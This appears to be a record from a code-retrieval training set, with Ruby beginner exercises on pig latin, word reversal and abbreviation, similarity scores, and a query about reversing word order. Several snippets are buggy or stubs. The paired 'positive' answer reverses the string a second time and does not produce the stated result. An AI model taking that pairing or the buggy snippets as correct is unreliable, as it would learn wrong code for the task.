"def convert_pig_latin(sentence)\n translated = []\n\n sentence.split(' ').each do |word|\n if word.length > 2\n translated << pig_latin(word)\n else\n translated << word\n end\n end\n translated.join(' ')\nend",
"def translate_two_consonants( s )\n\n\t\t\t\t# store the letters in an array\n\t\t\t\tch_array = s.chars\n\n\t\t\t\t# then grab the first letter from the array\n\t\t\t\tfirst_letter = ch_array.shift\n\n\t\t\t\t# then grab the second letter from the array\n\t\t\t\tsecond_letter = ch_array.shift\n\n\t\t\t\t# put both letters at the back with push and add 'ay'\n\t\t\t\tch_array << first_letter + second_letter + \"ay\"\n\n\t\t\t\t# bring it back together\n\t\t\t ch_array.join\n\n\tend",
"def abbreviate_sentence(sent)\n\t# create an array of vowels\n \t# split the sent into an array of words\n \t# for each word check length\n \t# if the length is greater than 4\n \t# remove vowels\n \t# rejoin the words into a sentence\n \t# return the sentence\n \tvowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n \twords = sent.split(\" \")\n \twords.each do |word|\n \n if(word.length > 4)\n \n word.each_char do |char|\n \n if(vowels.include? char)\n \n word[word.index(char)] = \"\"\n \n end\n \n end\n \n end\n \n end\n \treturn words.join(\" \")\nend",
"def translate_three_consonants( s )\n\n\t\t\t\t# store the letters in an array\n\t\t\t\tch_array = s.chars\n\n\t\t\t\t# then grab the first letter from the array\n\t\t\t\tfirst_letter = ch_array.shift\n\n\t\t\t\t# then grab the second letter from the array\n\t\t\t\tsecond_letter = ch_array.shift\n\n\t\t\t\t# then grab the third letter from the array\n\t\t\t\tthird_letter = ch_array.shift\n\n\t\t\t\t# put both letters at the back with push and add 'ay'\n\t\t\t\tch_array << first_letter + second_letter + third_letter + \"ay\"\n\n\t\t\t\t# bring it back together\n\t\t\t ch_array.join\n\n\tend",
"def yell_sentence(sent)\n return sent.split.map { |word| word.upcase + \"!\"}.join(\" \")\nend",
"def sentencize (text, change)\n\n\treturn change ? text.capitalize! : text\n\nend",
"def pig_sentence(string)\n pig_latin = \"\"\n string.split().each do |word|\n pig_latin += pig_word(word).downcase + \" \"\n end\n pig_latin.strip!\nend",
"def acronymize(sentence)\n # Solution 1: Using .each\n\n words = sentence.split\n acroynm = \"\"\n\n words.each do |word|\n acroynm << word[0].upcase\n end\n\n return acroynm\nend",
"def pig_latinify(sentence)\n\nend",
"def pig_latin_word(word)\r\n\tif word[0].downcase =~ /[aeiou]/\r\n\t\tword << \"way\" \r\n\telse\r\n\t\tn = /[aeiou]/.match word.downcase\r\n\t\tn.to_s + n.post_match + n.pre_match + \"ay\"\r\n\tend\r\nend",
"def abbreviate_sentence(sentence)\n vowels =\"aeiou\"\n new_word = \"\"\n \n sentence.split(\" \").each do |word| \n word.each_char do |char| \n if vowels.include?(char) && word.length > 4\n char = \"\"\n end\n new_word += char \n end\n new_word += \" \"\n end\n\n new_word\nend",
"def piglatinize_word(word)\r\n # vowel at the start\r\n # 3 consonants\r\n # 2 consonants\r\n # 1 consonant\r\n # count consonants\r\n count = 0\r\n # check if word starts with a vowel\r\n if !consonant?(word[0])\r\n word += \"w\"\r\n else\r\n count += 1\r\n end\r\n \r\n # check if word starts with 3 consonants\r\n if count == 1 && consonant?(word[1]) && consonant?(word[2])\r\n count += 2\r\n word = word.slice(3..-1) + word.slice(0,3)\r\n # check if word starts with 2 consonants if it isn't 3\r\n elsif count == 1 && consonant?(word[1])\r\n word = word.slice(2..-1) + word.slice(0,2)\r\n # check if word starts with 1 consonant if it isn't 3 or 2\r\n elsif count == 1 \r\n word = word.slice(1..-1) + word.slice(0)\r\n end\r\n\r\n # finally add the \"ay\" using += or <<\r\n word+= \"ay\"\r\n end",
"def energetic_encoding(sentence, hash)\n chars = sentence.split(\"\")\n new_sent = chars. map do |char|\n if hash.has_key?(char)\n hash[char]\n elsif char == \" \"\n \" \"\n else\n \"?\"\n end\n end \n new_sent.join(\"\")\nend",
"def sentence_maker(string)\n\tstring[0] = string[0].capitalize\n\tphrase = ''\n\tstring.each do |word|\n\t\tphrase = phrase + word.to_s + ' '\n\tend\n\tphrase = phrase.chop\n\tphrase = phrase + '.'\n\treturn phrase\nend",
"def pig_latin(sentence)\n sentence.split.map { |word| latinify(word) }.join(\" \")\nend",
"def word_substituter(tweet)\n tweet.split.map { |word| \n dictionary[word.downcase] || word }.join(\" \")\n end",
"def consonant_cancel(sentence)\r\n newSentence = []\r\n sentence.split(\" \").each do |word|\r\n newWord = word\r\n while !('aeiou'.include?(newWord[0]))\r\n newWord = newWord[1..-1]\r\n end\r\n newSentence << newWord\r\n end\r\n return newSentence.join(\" \")\r\nend",
"def consonants_adv(str)\r\n str = vowel_adv(str)\r\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\r\n str = str.downcase\r\n str = str.split('')\r\n str_new = str.map do |char|\r\n if consonants.include?(char)\r\n consonants.rotate(1)[consonants.index(char)]\r\n else\r\n char\r\n end\r\n end\r\n str_new.join\r\nend",
"def word_substituter(tweet)\n newtweet = tweet.split \n dictionary.each do |phrase, subs|\n newtweet.map! do |word|\n if word == phrase\n word = subs\n elsif \n word == phrase.capitalize\n word = subs\n else \n word = word\n end\n end\n end \n newtweet.join(\" \")\nend",
"def abbreviate_sentence(sent)\n words = sent.split(\" \")\n new_words = []\n \n words.each do |word|\n if word.length > 4\n new_word = abbreviate_word(word)\n new_words << new_word\n else\n new_words << word\n end\n end\n \n return new_words.join(\" \")\n end",
"def acronymize(sentence)\n sentence.split.map { |word| word[0].upcase }.join\n # split the sentence into an array\n # need to iterate over the words\n # take the first letter from each word and place into array\n # array into string, then .upcase(should be gud. its ok)\nend",
"def pig_latin_word(word)\n vowels = ['a', 'e', 'i', 'o', 'u']\n new_word = \"\"\n if vowels.include?(word[0])\n return word + \"yay\"\n else\n word.each_char.with_index do |ch, i|\n if vowels.include?(ch)\n return word[i..-1] + word[0...i] + \"ay\"\n end\n end\n end\nend",
"def translate(str)\n\tvowel=%w[a e i o u]\n\tcons=[*'a'..'z']-vowel\n\n\ta_str=str.split(\" \")\n\n\tfor i in 0..a_str.length-1\n\t\tif vowel.include?a_str[i][0]\n\t\t\tpig_l = a_str[i] + \"ay\"\n\t\t\treturn pig_l.split(\",\").join(\"\")\n\t\telsif cons.include?a_str[i][0]\n\t\t\tif cons.include?a_str[i][1]\n\t\t\t\tz=a_str[i].slice!(0..1)\n\t\t\telse\n\t\t\t\tz=a_str[i].slice!(0)\n\t\t\tend\n\t\t\tpig_l=a_str[i] + z+ \"ay\"\n\t\t\treturn pig_l.split(\",\").join(\"\")\n\t\tend\n\tend\nend",
"def translate(string)\n\tsufix = ''\n\tres = ''\n\n\tword_a = string.split(' ')\n\n\tword_a.each do |word|\n\t\tsufix = ''\n\t\twhile !word.start_with?('a', 'e', 'i', 'o', 'u')\n\t\t\tif word[0..1] == 'qu'\n\t\t\t\tsufix += word[0..1]\n\t\t\t\tword[0..1] = ''\n\t\t\telse\n\t\t\t\tsufix += word[0]\n\t\t\t\tword[0] = ''\n\t\t\tend\n\t\tend\n\t\tres += word + sufix + 'ay '\n\tend\n\t\n\tres.rstrip\nend",
"def abbreviate_sentence(sent)\n seperate = sent.split(\" \")\n \n i = 0\n new =\"\"\n j = 0\n while i < seperate.length\n if seperate[i].length > 4\n while j < seperate[i].length\n if seperate[i][j] !=\"o\" && seperate[i][j] !=\"e\" && seperate[i][j] !=\"a\" && seperate[i][j] !=\"i\" && seperate[i][j] !=\"u\"\n new << seperate[i][j]\n end\n j += 1\n end \n new << \" \"\n j = 0\n else \n new << seperate[i]\n new << \" \"\n end \n i += 1\n end\n return new\n end",
"def word_substituter(string)\ntweet=string.split(\" \")\ni = 0 \nwhile i < tweet.length \nif dictionary.keys.include?(tweet[i].downcase)\ntweet[i] = dictionary[tweet[i].downcase]\nend \ni+=1\nend\ntweet.join(\" \")\nend",
"def abbreviate_sentence(sent)\n\tarrSent = sent.split(\" \")\n \tarrSent.each_with_index do |word, i|\n \tif (word.length > 4)\n \t\tarrSent[i] = removeVowels(word)\n \tend\n end\n \treturn arrSent.join(\" \")\nend",
"def spy_name(str)\n #CREATE VARIABLES FOR VOWELS AND CONSONANTS\n vowels = [\"a\", \"e\", \"i\", \"o\", \"u\"]\n consonants = [\"b\", \"c\", \"d\", \"f\", \"g\", \"h\", \"j\", \"k\", \"l\", \"m\", \"n\", \"p\", \"q\", \"r\", \"s\", \"t\", \"v\", \"w\", \"x\", \"y\", \"z\"]\n #CHANGE STRING FIRST INTO ARRAY THAT MAKES EACH WORD A VALUE THEN REVERSE THEM. \n #THEN TURN ARRAY BACK INTO STRING AND DOWNCASE ANY LETTER.\n #THEN TURN STRING BACK INTO ARRAY THAT TAKES EACH INDIVIDUAL CHARACATER AS A VALUE.\n str = str.split(' ').reverse.join.downcase\n str = str.split('')\n #CREATE TEMPORARY VARIABLE STR_NEW TO EQUEL STR THEN CHANGE BUMP EACH \n #VOWEL AND CONSONANT TO THE NEXT ONE IN LINE. \n str_new = str.map do |char|\n if vowels.include?(char)\n vowels.rotate(1)[vowels.index(char)]\n elsif consonants.include?(char)\n consonants.rotate(1)[consonants.index(char)]\n else\n char\n end\n end\n #TURN ARRAY BACK INTO STRING.\n str_new.join\nend",
"def word_substituter(tweet)\n tweetarr = tweet.split(' ')\n newtweet = []\n tweetarr.each do |word|\n if dictionary.key?(word.capitalize) \n newtweet << dictionary[word.capitalize].to_s\n \n else \n newtweet << word\n end\n \n end\n tweetstr = newtweet.join(' ')\n \n return tweetstr\nend",
"def translate(word)\r\n vowels = \"aeio\".split('').to_a\r\n consonant = \"bcdfghjklmnpqrstuvwxyz\".split('').to_a \r\n answer = []\r\n \r\n while word.split(' ').length == 1 \r\n words = word.split('')\r\n until vowels.include?(words[0])\r\n words = words.rotate(1)\r\n end\r\n words << \"ay\"\r\n return words.join('')\r\n end # one word ^^\r\n \r\n if word.split(' ').length > 1 \r\n words = word.split(' ')\r\n end \r\n words.each do |i|\r\n if vowels.include?(i[0])\r\n i << \"ay\"\r\n answer << i\r\n #return answer\r\n end\r\n end\r\n \r\n words.each do |j|\r\n if consonant.include?(j[0])\r\n j = j.split('').rotate(1).join('') until vowels.include?(j[0])\r\n j = j + \"ay\"\r\n #return j\r\n #j << j #correct format for 1 consonant but it doesnt add to array\r\n answer << j\r\n end\r\n end\r\n \r\n return answer.join(' ')\r\n end"
] |
[
"0.90410376",
"0.8999232",
"0.89314",
"0.89139175",
"0.88607925",
"0.88350093",
"0.88226575",
"0.8660102",
"0.86111856",
"0.85057545",
"0.8347041",
"0.8024091",
"0.79702425",
"0.65046346",
"0.6374063",
"0.63612473",
"0.61297655",
"0.6120786",
"0.6080848",
"0.60139555",
"0.6000436",
"0.59921235",
"0.5960803",
"0.59550804",
"0.5943636",
"0.59365714",
"0.591929",
"0.5907037",
"0.58857137",
"0.58645296",
"0.58592546",
"0.58531433",
"0.58492464",
"0.5848187",
"0.5838493",
"0.5836082",
"0.5815249",
"0.5796954",
"0.57653886",
"0.5744791",
"0.57420266",
"0.57396585",
"0.5696752",
"0.56930095",
"0.5688362",
"0.568315",
"0.56827015",
"0.5656098",
"0.56373906",
"0.56273043",
"0.56217813",
"0.5621767",
"0.56189996",
"0.56183153",
"0.5613756",
"0.5611888",
"0.5607058",
"0.5600997",
"0.5598833",
"0.5589126",
"0.5583382",
"0.55775654",
"0.5576145",
"0.5575495",
"0.55744636",
"0.5571368",
"0.5571291",
"0.5570671",
"0.5569719",
"0.5566245",
"0.55599785",
"0.55552095",
"0.5549597",
"0.55466515",
"0.55463237",
"0.5543916",
"0.55426055",
"0.55422246",
"0.5540425",
"0.5537254",
"0.55321497",
"0.55255973",
"0.55239993",
"0.55233765",
"0.5519633",
"0.5518444",
"0.5515341",
"0.55126905",
"0.55090827",
"0.55043674",
"0.5503592",
"0.550201",
"0.5488072",
"0.54880273",
"0.54869056",
"0.548618",
"0.54817134",
"0.5478245",
"0.54760504",
"0.5475831"
] |
0.90243095
|
1
|
Round 4 Write a function word_reverse that accepts a single argument, a string. The method should return a string with the order of the words reversed. Don't worry about punctuation. word_reverse("Now I know what a TV dinner feels like") => "like feels dinner TV a what know I Now"
|
def word_reverse(string)
reversed_word = string.split(' ').reverse().join(' ')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def word_reverse(string)\n reversed_word = string.split(' ').reverse().join(' ').reverse()\nend",
"def word_reverse(str)\n p str.split(' ').reverse.join(' ')\nend",
"def word_reverse (str)\n str.split(' ').reverse.join(' ')\nend",
"def reverse_words(word)\n p word.reverse.split.reverse.join(' ')\nend",
"def wordReverse (string)\n puts string.split.reverse.join(' ')\nend",
"def word_reverse(sentence)\n sentence.split(\" \").reverse.join(\" \")\nend",
"def word_reverse str\n\tstr.split.reverse.join(' ')\nend",
"def wordReverse(aString)\n return aString.split.reverse.join(\" \")\nend",
"def wordReverse(string)\n\tp string.split(\" \").reverse().join(\" \")\nend",
"def reverse_string word\n\t\treturn word.reverse\nend",
"def wordReverse (string_of_words)\n\n new_string = string_of_words.split(' ').reverse().join(' ')\n puts new_string\n\nend",
"def reverse_word_by_word_naive(s)\n words = s.split(\" \")\n my_reverse(words).join(\" \")\nend",
"def wordReverse (str)\nstr.split(' ').reverse.join(' ')\nend",
"def reverse_words(string)\n p string.split.map!{|word| word.reverse}.join(\" \")\nend",
"def reverse_words(string)\n p string.split.map!{|word| word.reverse}.join(\" \")\nend",
"def reverse_words(words)\n return words.split(' ').reverse.join(' ').reverse\nend",
"def reverseWords(s)\n s.split(\" \").reverse.join(\" \")\nend",
"def reverse_word(words)\n\twords.split(\" \").each {|word| word.reverse!}.join(\" \")\nend",
"def reverse_words(s)\n strs = s.split(\" \")\n if strs.length == 0\n return \"\"\n elsif strs.length == 1\n return s\n else\n strs.reverse!\n return strs.join(\" \")\n end\nend",
"def reverse_words (string)\n if string == \"\"\n p \"\"\n elsif\n words = string.split(\" \")\n words.each { |word|\n word.reverse!\n }\n p words.join(\" \")\nend\nend",
"def reverse_words(string)\n words = string.split()\n words.each_with_index { |word, index| words[index] = word.reverse() }\n p words.join(\" \")\nend",
"def reverse_word_order string\n string.split.reverse.join(' ')\nend",
"def reverse_words (string)\n array = string.split(\"\")\n array.reverse!\n final = array.join(\"\")\n return final\nend",
"def reverse_word(word)\n return word.reverse\n end",
"def reverseWords(str) \n str.reverse!\n str.split.map{|word| word.reverse!}.join(\" \")\nend",
"def reverse_words(s)\n s.split(' ').map(&:reverse!).join(' ')\nend",
"def reverse(string)\n words = string.split(' ')\n words.reverse!\n return words.join(' ')\nend",
"def rev(word)\n word.reverse\nend",
"def reverse_words(string)\n string.split(' ').map{|word| word.reverse}.join(' ')\nend",
"def reverse_words(str)\n words = str.split(\" \")\n words.each { |word| word.reverse! }\n return words.join(\" \")\nend",
"def reverse_word_order(str)\n str.split.reverse.join(' ')\nend",
"def reverse_words(sent)\n words = sent.split(\" \")\n reversed_sent = \"\"\n words.each {|word| reversed_sent = reversed_sent + \" \" + reverse_word(word)}\n return reversed_sent\nend",
"def reverse_each_word(words)\n words.split(\" \").collect{ |x| x.reverse}.join(\" \")\nend",
"def reverse_each_word(sentence)\n sentence.reverse.split.reverse.join(\" \")\n \nend",
"def reverse_each_word(string)\n split_array = string.split(' ')\n reversed = []\n split_array.each do |word|\n reversed << word.reverse\n end\nreturn reversed.join(' ')\nend",
"def reverse_words(string)\n words = string.split(' ')\n reverse_str = []\n\n words.length.times do |i|\n reverse_str[i] = words[i].reverse\n end\n\n return reverse_str.join(\" \")\nend",
"def reverse_words(input_string)\n tokens = input_string.split(' ')\n swap_words(tokens)\nend",
"def reverse_words sentence\n sentence.split(\" \").map{ |x| x.reverse }.join(\" \")\nend",
"def reverse_each_word(sentence)\n sentence.split.collect(&:reverse).join(' ')\nend",
"def reverse_words(str)\n str.split(/(\\s)/).each { |word| word.reverse! }.join(\"\")\nend",
"def reverse_words(string)\n words = string.split(' ')\n reverse_string = []\n\n words.length.times do |i|\n reverse_string[i] = words[i].reverse\n end\n\n return reverse_string.join(\" \")\nend",
"def reverse_words (string)\n string_array = string.split(\" \").to_a\n string_array.each {|word| word.reverse!}\n new_string = string_array.join(\" \")\nend",
"def reverse_sentence(my_sentence)\r\n reverse_words(my_sentence)\r\n string_reverse(my_sentence)\r\nend",
"def reverse_words(str)\n str.split(\" \").map{ |i| i.reverse }.join(\" \")\nend",
"def reverse(word)\n\t# return word.reverse\n\tidx = word.length - 1\n \tres = \"\"\n \twhile(idx>=0)\n \tres+= word[idx]\n \tidx-=1\n end\n return res\nend",
"def reverse(word)\n i = word.length - 1\n w_reverse = \"\"\n while i >= 0\n w_reverse += word[i]\n i -= 1\n end\n\n return w_reverse\nend",
"def reverse_words(word)\n \n \n \n word = word.split(\" \")\n result = []\n word.each do |x|\n y = x.reverse\n result << x.reverse\n end\n result.join(' ') \n\nend",
"def reverse(word) # defines the method with one param\n\ti = 0 # sets value at zero\n\trevered_string = \"\" # creates empty string to put reversed characters\n\n\twhile i < word.length # while loop that sets condition to end after i exceeds the amount of word length\n\t\tchar = word[i] # string character value stored into variable char corresponding with index value in i\n\t\trevered_string = char + revered_string # variable for string concatenation, we put char first because it puts each iteration of character in string before last in order thus reversing it.\n\n\t\ti += 1 # raises i value or index number by one\n\tend\n\treturn revered_string # returns reversed string\nend",
"def reverse_words(string)\n string_array = string.split(\" \")\n words = string_array.each {|word| word.reverse!}.join(\" \")\nend",
"def reverse_each_word(sentence)\n sentence.reverse.split.reverse.join(\" \")\nend",
"def reverse_each_word(sentence)\n sentence.reverse.split.reverse.join(\" \")\nend",
"def wordReverse(string)\n\treverseStr = string.reverse\n\tstringArr = reverseStr.split(' ')\n\tstringArr.map! do |word|\n\t\tword.reverse\n\tend\n\tp stringArr.join(' ')\nend",
"def reverse_words(string)\n string_split = string.split\n word_count = string_split.length-1\n reversed_string = []\n string_split.each do | word |\n reversed_string << string_split[word_count]\n word_count -= 1\n end\n reversed_string.join(' ')\nend",
"def reverse_words(string)\n words = string.split(\" \")\n words.map! {|element| element.reverse}\n words.join(\" \")\n\nend",
"def reverse_it(sentence)\n sentence.split(' ').reverse.join(' ')\nend",
"def reverse_words(string)\n reverted_string = []\n string.split.each do |word|\n word.length > 4 ? reverted_string << word.reverse : reverted_string << word\n end\n reverted_string.join(\" \")\nend",
"def reverse_each_word(sentence)\n sentence.split(\" \").collect{|x| x.reverse}.join(\" \")\nend",
"def reverse_words(string)\n string.gsub(/\\w+/) { |word| word.reverse! } \n end",
"def reverse_words(string)\n array = string.split(\" \")\n reversed_array = array.each{|element| element.reverse!()}\n final = reversed_array.join(\" \")\n p final\nend",
"def reverse_words(string, *optional)\n\tstring = string.split\n\tstring.map! do |word|\n \tword.reverse\n \tend\n \n \tp string.join(\" \")\n \nend",
"def reverse_sentence(string)\n=begin\n p string.reverse # ex. \"dlroW olleH\" --- reverses whole string\n p string.split(' ') # ex. [\"Hello\", \"World\"] --- returns array of strings split by the space\n p string.split(' ').reverse # ex. [\"World\", \"Hello\"] --- returns array in reverse order\n p string.split(' ').reverse.join # ex. \"WorldHello\" --- returns string from reversed array\n p string.split(' ').reverse.join(' ') # ex. \"World Hello\" --- solution\n=end\n if string != ''\n string.split(' ').reverse.join(' ')\n else\n string\n end\nend",
"def reverse_each_word(string)\n array = string.split(\" \")\n reverse_array = array.collect {|word| word.reverse}\n reverse_string = reverse_array.join(\" \")\n return reverse_string\nend",
"def reverse_each_word(string)\n words_arr = string.split\n reverse = words_arr.collect {|word| word.reverse}\n reverse.join(\" \")\nend",
"def reverse_word(word)\n word.length <= 1 ? (return word) : (return word[-1]+reverse_word(word[0,word.length-1]))\nend",
"def reverse_words!(message)\n # First we reverse all the characters in the entire message.\n reverse_characters!(message, 0, message.length - 1)\n # This gives us the right word order\n # but with each word backward.\n # Now we'll make the words forward again\n # by reversing each word's characters.\n # We hold the index of the *start* of the current word\n # as we look for the *end* of the current word.\n current_word_start_index = 0\n (0..message.length).each do |i|\n # Skip unless we're at the end of the current word.\n next unless i == message.length || message[i] == ' '\n reverse_characters!(message, current_word_start_index, i - 1)\n # If we haven't exhausted the string our\n # next word's start is one character ahead.\n current_word_start_index = i + 1\n end\nend",
"def reverse_words(string)\n split_array = string.split(' ')\n results_array = split_array.map! do |word|\n word.reverse\n end\n results_array.join(' ')\nend",
"def reverse_words(word)\n word_array= sentence.split(\" \").to_a\n reversed_sent= []\n \n if sentence == \"\"\n \treturn \"\"\n elsif word_array.length== 1\n \tprint sentence.reverse!\n else\n \treversed_sent << word_array[0..-2].map { |word|\n \t word.reverse! + \" \"}\n end\n reversed_sent << word_array[-1].reverse!\n print reversed_sent.join\nend",
"def reverse_words(sentence)\n if sentence != \"\"\n sent_array = sentence.split\n sent_array.each do |word|\n word.reverse!\n end\n sentence = sent_array.join(\" \")\n end\n sentence\nend",
"def reverse_sentence(words)\n words.split.reverse.join(' ')\nend",
"def reverse_sentence(sentence)\n return '' if sentence == ''\n list = sentence.split(' ').reverse\n str = '' \n list.each{|word| str << word + \" \"}\n str.strip!\nend",
"def reverse_each_word(string)\n p string.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_words(sent)\n split = sent.split(' ')\n reversed = []\n split.each do | word |\n reversed.push(word.reverse)\n end\n return reversed.join(' ')\nend",
"def reverse_words(message)\n message = message.split(\" \").reverse.join(\" \")\n p message\nend",
"def reverse_words(to_reverse)\n\tto_reverse.split(' ').map{|word| word.reverse}.join(' ')\nend",
"def reverse_each_word(phrase)\n phrase.split.collect {|word| word.reverse}.join(\" \")\n \n end",
"def reverse_each_word(string)\n string.split(\" \").collect {|x| x.reverse!}.join(\" \")\nend",
"def reverse_words(words)\n word_array = words.split(\" \")\n word_array.map! { |word| word.reverse}.join(\" \")\nend",
"def reverse_words(sentence)\n # sentence_array = sentence.split\n sentence.split.map(&:reverse)\n .join(' ')\n\nend",
"def reverse_words(input_string)\n string_array = input_string.split(\" \")\n return_string = \"\"\n string_array.each do |word|\n word_array = word.split(//)\n\n for i in 0...(word_array.length/2)\n temp = word_array[i]\n word_array[i] = word_array[((word_array.length-1)-i)]\n word_array[((word_array.length-1)-i)] = temp\n end\n \n return_string << word_array.join(\"\") + \" \"\n \n end\n \n return_string.slice!((return_string.length)-1)\n return return_string\n\nend",
"def reverse_words(string)\n string_array = string.split(\" \")\n string_array.each do |word|\n word.reverse!\n end\n p string_array\n reversed_sentance = \"\"\n string_array.each do |reverse_word|\n reversed_sentance += reverse_word + \" \"\n end\n p reversed_sentance.chop\nend",
"def reverse_words(words)\n word_array = words.split(\" \")\n word_array.map!{ |word| word.reverse }\n reverse_sentence = word_array.join(\" \")\nend",
"def reverse_each_word(string)\n string.split(\" \").collect {|word| word.reverse!}.join(\" \")\nend",
"def reverse_words(string)\n words = string.split(\" \")\n words.map! {|element| element.reverse}\n words.join(\" \")\nend",
"def reverse_words (words)\n\twords.split.map! {|word| word.reverse}.join(\" \")\nend",
"def reverse_words(string)\n # reversed_string = string.reverse!\n # reversed_array = reversed_string.split(\" \")\n # p reversed_array\n # reversed_array.sort! {|x, y| y<=>x}\n # p reversed_array\n\n split_string = string.split(\" \")\n split_string.each do |word|\n word.reverse!\n end\n reversed_string = split_string.join(\" \")\n puts reversed_string\nend",
"def reverse_words(my_words)\n # raise NotImplementedError\n return my_words if my_words.nil? || my_words.empty?\n\n i = 0 # starting point of sentence\n j = my_words.length # ending point of sentence\n\n while i < j\n while my_words[i] == \" \" && i < j\n i += 1\n end\n\n word_start = i # starting point of next word in sentence\n\n while my_words[i] != \" \" && i < j\n i += 1\n end\n\n word_end = i - 1 # end point of word in sentence\n\n word_reverse(my_words, word_start, word_end)\n end\n return\nend",
"def reverse_words(string)\n words = string.split(\" \")\n words = words.map {|word| word.reverse}\n words.join(\" \")\nend",
"def reverse_words!(message)\n # first we reverse the entire thing\n reverse_characters!(message, 0, message.length - 1)\n\n current_start = 0\n\n # then we reverse each word\n (0..message.length).each do |i|\n # keep going unless message is over or we found a space\n next unless i == message.length || message[i] == ' '\n\n # if we found a space reverse the word\n\n reverse_characters!(message, current_start, i - 1)\n\n # start the next word ... we already know that there can only be 1 space\n\n current_start = i + 1\n end\n\n message # don't need to return but doing this to test spec\nend",
"def reverse_each_word(sentence)\n sentence.split.collect { |word| word.reverse }.join(\" \")\nend",
"def reverse_each_word(string)\n string.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(string)\n string.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(string)\n string.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(string)\n string.split.collect {|word| word.reverse}.join(\" \")\nend",
"def reverse_each_word(str)\n words = str.split(\" \")\n \n reversed_words = words.collect { |ele| ele.reverse }\n \n return reversed_words.join(\" \")\nend",
"def reverse_each_word(sentence)\n sentence.split.collect {|x| x.reverse}.join(\" \")\nend",
"def reverse_words(string)\n words=string.split(\" \")\n array=[]\n words.each do |word|\n array.push(word.reverse!)\n end\n p array.join(\" \")\nend",
"def reverse_words(sent)\r\n reverse = []\r\n sent.split(\" \").each do |word|\r\n reverse << word.reverse\r\n end\r\n return reverse.join(\" \")\r\nend",
"def reverse_words(sentence)\n \tsentence.reverse\n end",
"def reverse_each_word(string)\n string.reverse.split.collect { |word| word }.reverse.join(\" \")\nend",
"def reverse_words(string)\n string.gsub(/\\w+/) { |match| match.reverse }\nend"
] |
[
"0.8573091",
"0.8570861",
"0.8439694",
"0.843195",
"0.8421283",
"0.8407072",
"0.8381471",
"0.83662903",
"0.83473426",
"0.8332238",
"0.8328316",
"0.82603925",
"0.82494426",
"0.8199482",
"0.8199482",
"0.8171515",
"0.81603736",
"0.8131489",
"0.8131069",
"0.8125518",
"0.81094265",
"0.80940956",
"0.8082532",
"0.8077192",
"0.8040916",
"0.8012541",
"0.8002611",
"0.79715824",
"0.79684263",
"0.7968294",
"0.7964558",
"0.7933564",
"0.78849846",
"0.7879936",
"0.7876541",
"0.78702575",
"0.7853819",
"0.7850584",
"0.7847909",
"0.78446305",
"0.78408504",
"0.7840295",
"0.78388166",
"0.78378767",
"0.783679",
"0.78310204",
"0.78260523",
"0.7820666",
"0.78150797",
"0.78039765",
"0.78039765",
"0.7796206",
"0.77952117",
"0.7793925",
"0.7792813",
"0.77897453",
"0.7789122",
"0.77869254",
"0.7785681",
"0.7784366",
"0.7780714",
"0.77805984",
"0.77791345",
"0.77790886",
"0.7774021",
"0.77705485",
"0.7766399",
"0.776591",
"0.7765847",
"0.7760986",
"0.77588433",
"0.7752098",
"0.7751813",
"0.7751475",
"0.7748776",
"0.77456987",
"0.7745513",
"0.7743467",
"0.77420604",
"0.7741649",
"0.774134",
"0.7739071",
"0.7732245",
"0.77292675",
"0.77278733",
"0.7724035",
"0.77234924",
"0.77204376",
"0.77174205",
"0.771094",
"0.771094",
"0.771094",
"0.771094",
"0.77088857",
"0.7707648",
"0.7706283",
"0.7701085",
"0.76995945",
"0.76995915",
"0.7699446"
] |
0.84777814
|
2
|
Round 5 Write a function letter_reverse that accepts a single argument, a string. The function should maintain the order of words in the string but reverse the letters in each word. Don't worry about punctuation. This will be very similar to round 4 except you won't need to split them with a space.
|
def word_reverse(string)
reversed_word = string.split(' ').reverse().join(' ').reverse()
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def letter_reverse (str)\n str.split(' ').map { |each| each.reverse }.join(' ')\nend",
"def letter_reverse(str)\n p str.reverse.split(' ').reverse.join(' ')\nend",
"def letterReverse(aString)\n return aString.reverse!.split.reverse.join(\" \")\nend",
"def letterReverse (str)\n str.split('').reverse.join('')\nend",
"def letterReverse(string)\n\tp string.split.map { |letter| letter.reverse }.join(' ')\nend",
"def letter_reverse str\n str.reverse!\nend",
"def letter_reverse str\n\toriginal_array = str.split(\" \")\n\treturn_array = []\n\toriginal_array.each do |str|\n\t\treturn_array << str.reverse\n\tend\n\treturn_array.join(\" \")\nend",
"def reverse_words_refactor(string)\n jumbled_letters = string.split(\" \").each {|word| word.reverse!}.join(\" \")\nend",
"def letterReverse (string)\n new_string = []\n string.split.each do |word|\n new_string.push word.reverse\n end\n puts new_string.join(' ')\nend",
"def letter_reverse(sentence)\n # sentence.split(\" \").map(&:reverse).join(\" \")\n # sentence.gsub(/\\w+/) { |word| word.reverse }\n sentence.gsub(/\\w+/, &:reverse)\nend",
"def reverse(string)\n #debugger\n arr = string.split(\"\")\n last_letter = arr.pop\n return \"\" if last_letter == nil\n new_string = arr.join(\"\")\n last_letter + reverse(new_string)\nend",
"def reverse_each_word(string)\n helper_array = []\n string_to_array = string.split\n string_to_array.collect do |letter|\n helper_array.push letter.reverse!\n end\n return helper_array.join(\" \")\nend",
"def letterReverse(string)\n p string.reverse.split(/\\W+/).reverse.join(',')\nend",
"def reverse_a_string(string)\n array = string.split('')\n index_array = []\n final_array = []\n array.each do |letter|\n index_array << array.index(letter)\n end\n index_array.sort! { |a, b| b <=> a }\n index_array.each do |index|\n final_array << array[index]\n end\n final_array.join\nend",
"def q5_reverse(str)\n str.split('').reverse.join('')\nend",
"def reverse(string)\n reverse_word = \"\"\n string.each_char { |chr| reverse_word.prepend(chr) }\n reverse_word\nend",
"def reverse_letter(string)\n #your code here\n string.gsub(/[^A-Za-z]/, '').reverse\nend",
"def reverse_string(string)\n answer = string.reverse\n return answer\nend",
"def reverse_words(string)\n array = string.split(\" \").each do |word|\n if word.length >= 5\n word.reverse!\n else\n word\n end\n end\n array.join(\" \")\nend",
